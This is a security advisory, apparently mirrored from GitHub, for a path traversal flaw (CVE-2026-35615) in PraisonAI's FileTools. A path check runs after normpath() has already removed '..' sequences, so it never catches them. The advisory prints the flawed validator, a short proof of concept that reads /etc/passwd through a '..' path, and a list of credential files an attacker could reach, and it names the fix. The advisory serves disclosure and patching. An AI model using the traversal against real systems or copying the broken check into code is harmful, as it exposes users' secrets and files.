GHSA-693F-PF34-72C5
Vulnerability from github – Published: 2026-04-06 23:09 – Updated: 2026-04-07 22:10Executive Summary:
The path validation has a critical logic bug: it checks for .. AFTER normpath() has already collapsed all .. sequences. This makes the check completely useless and allows trivial path traversal to any file on the system.
The path validation function also does not resolve the symlink wich could potentially cause path traversal.
Details:
_validate_path() calls os.path.normpath() first, which collapses .. sequences, then checks for '..' in normalized. Since .. is already collapsed, the check always passes.
Vulnerable File:
src/praisonai-agents/praisonaiagents/tools/file_tools.py
Lines: 42-49
class FileTools:
"""Tools for file operations including read, write, list, and information."""
@staticmethod
def _validate_path(filepath: str) -> str:
# Normalize the path
normalized = os.path.normpath(filepath)
absolute = os.path.abspath(normalized)
# Check for path traversal attempts (.. after normalization)
# We check the original input for '..' to catch traversal attempts
if '..' in normalized:
raise ValueError(f"Path traversal detected: {filepath}")
return absolute
Severity: CRITICAL
CVSS v3.1: 9.2 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Proof of concept (PoC)
Prerequisites: - Ability to specify a file path can call file operations
Steps to reproduce: poc.py
from praisonaiagents.tools.file_tools import FileTools
print(FileTools._validate_path('/tmp/../etc/passwd'))
# Returns: /etc/passwd
print(FileTools.read_file('/tmp/../etc/passwd'))
# Returns: content of /etc/passwd
Why this works:
# Current vulnerable code:
normalized = os.path.normpath(filepath) # Collapses .. HERE
absolute = os.path.abspath(normalized)
if '..' in normalized: # Check AFTER collapse - ALWAYS FALSE!
raise ValueError(...)
Impact:
- Complete bypass of path traversal protection
- Access to ANY file on the system with path from any starting directory
- Read sensitive files:
/etc/passwd,/etc/shadow,~/.ssh/id_rsa - Write arbitrary files if combined with write operations
- Affect file operations
read_file,write_file,list_files,get_file_info,copy_file,move_file,delete_file,download_file
Additional Notes:
- Fix: Check for
'..' in filepathBEFORE callingnormpath(), not after _validate_pathusesos.path.normpathandos.path.abspath, which don't resolve symlinks, making it vulnerable to path traversal via symlink if attacker can control the symlink.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.112"
},
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.113"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35615"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T23:09:28Z",
"nvd_published_at": "2026-04-07T17:16:35Z",
"severity": "CRITICAL"
},
"details": "### Executive Summary:\nThe path validation has a critical logic bug: it checks for `..` AFTER `normpath()` has already collapsed all `..` sequences. This makes the check completely useless and allows trivial path traversal to any file on the system.\nThe path validation function also does not resolve the symlink wich could potentially cause path traversal.\n\n### Details:\n`_validate_path()` calls `os.path.normpath()` first, which collapses `..` sequences, then checks for `\u0027..\u0027` in normalized. Since `..` is already collapsed, the check always passes.\n\n**Vulnerable File:**\n`src/praisonai-agents/praisonaiagents/tools/file_tools.py`\n\n**Lines:**\n42-49\n\n```python\nclass FileTools:\n \"\"\"Tools for file operations including read, write, list, and information.\"\"\"\n \n @staticmethod\n def _validate_path(filepath: str) -\u003e str:\n # Normalize the path\n normalized = os.path.normpath(filepath)\n absolute = os.path.abspath(normalized)\n \n # Check for path traversal attempts (.. after normalization)\n # We check the original input for \u0027..\u0027 to catch traversal attempts\n if \u0027..\u0027 in normalized:\n raise ValueError(f\"Path traversal detected: {filepath}\")\n \n return absolute\n```\n\n**Severity:** CRITICAL\n\n**CVSS v3.1:** 9.2 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N\n\n**CWE:** CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\n\n### Proof of concept (PoC)\n\n**Prerequisites:**\n- Ability to specify a file path can call file operations\n\n**Steps to reproduce:**\npoc.py\n```python\nfrom praisonaiagents.tools.file_tools import FileTools\n\nprint(FileTools._validate_path(\u0027/tmp/../etc/passwd\u0027))\n# Returns: /etc/passwd\n\nprint(FileTools.read_file(\u0027/tmp/../etc/passwd\u0027))\n# Returns: content of /etc/passwd\n```\n\n**Why this works:**\n```python\n# Current vulnerable code:\nnormalized = os.path.normpath(filepath) # Collapses .. HERE\nabsolute = os.path.abspath(normalized)\nif \u0027..\u0027 in normalized: # Check AFTER collapse - ALWAYS FALSE!\n raise ValueError(...)\n```\n\n### Impact:\n- **Complete bypass** of path traversal protection\n- Access to ANY file on the system with path from any starting directory\n- Read sensitive files: `/etc/passwd`, `/etc/shadow`, `~/.ssh/id_rsa`\n- Write arbitrary files if combined with write operations\n- Affect file operations `read_file`, `write_file`, `list_files`, `get_file_info`, `copy_file`, `move_file`, `delete_file`, `download_file`\n\n\n### Additional Notes:\n- **Fix:** Check for `\u0027..\u0027 in filepath` BEFORE calling `normpath()`, not after\n- `_validate_path` uses `os.path.normpath` and `os.path.abspath`, which don\u0027t resolve symlinks, making it vulnerable to path traversal via symlink if attacker can control the symlink.",
"id": "GHSA-693f-pf34-72c5",
"modified": "2026-04-07T22:10:17Z",
"published": "2026-04-06T23:09:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-693f-pf34-72c5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35615"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.113"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PraisonAI Has Path Traversal in FileTools"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.